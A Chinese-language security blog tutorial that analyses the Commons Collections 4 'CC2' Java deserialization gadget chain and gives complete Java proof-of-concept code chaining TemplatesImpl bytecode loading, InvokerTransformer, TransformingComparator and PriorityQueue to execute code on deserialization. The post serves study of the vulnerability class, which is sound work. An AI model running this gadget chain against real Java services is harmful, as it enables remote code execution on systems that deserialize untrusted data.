Java反序列化CommonsCollections篇-CC2

前言

CC3中我们了解到TemplatesImpl()调用Transformer()方法就可以代码执行。

CC2就在在这个基础上,结合CC4改写。CC2最大的优势就是不用Transformer 数组。

环境搭建

  • JDK8u65
  • CommonsCollections4
1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

CC2调用链分析

CC2

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public class Main {
public static void main(String[] args) throws Exception {
//执行代码的类
//和CC4一样
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

//构造InvokerTransformer类去调用templates对象的newTransformer()方法
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

//创建TransformingComparator类对象,传⼊一个临时的Transformer类对象(ConstantTransformer),让代码序列化的时候不执行,在反序列化的时候执行。
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));


//创建 PriorityQueue类对象传入transformingComparator对象,但是此时向队列⾥添加的元素就是我们前⾯创建的 TemplatesImpl对象了,这是因为最后调用 PriorityQueue.compare() 的时候是传入队列中的两个对象,然后 compare()中调用 Transformer.transform(obj1) 的时候用的是传入的第一个对象作为参数,因此这里需要将priorityQueue队列中的第一个对象设置为构造好的 templates 对象。
//PriorityQueue调用TransformingComparator.compare()
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, invokerTransformer);

serialize(priorityQueue);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);

}


public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}

}

image-20240602022510898

参考链接

Java反序列化CommonsCollections篇(四)-摆烂的完结篇

Java反序列化Commons-Collections篇05-CC2链


Java反序列化CommonsCollections篇-CC2
https://sp4rks3.github.io/2024/06/02/JAVA安全/反序列化/CC2/
作者
Sp4rks3
发布于
2024年6月2日
许可协议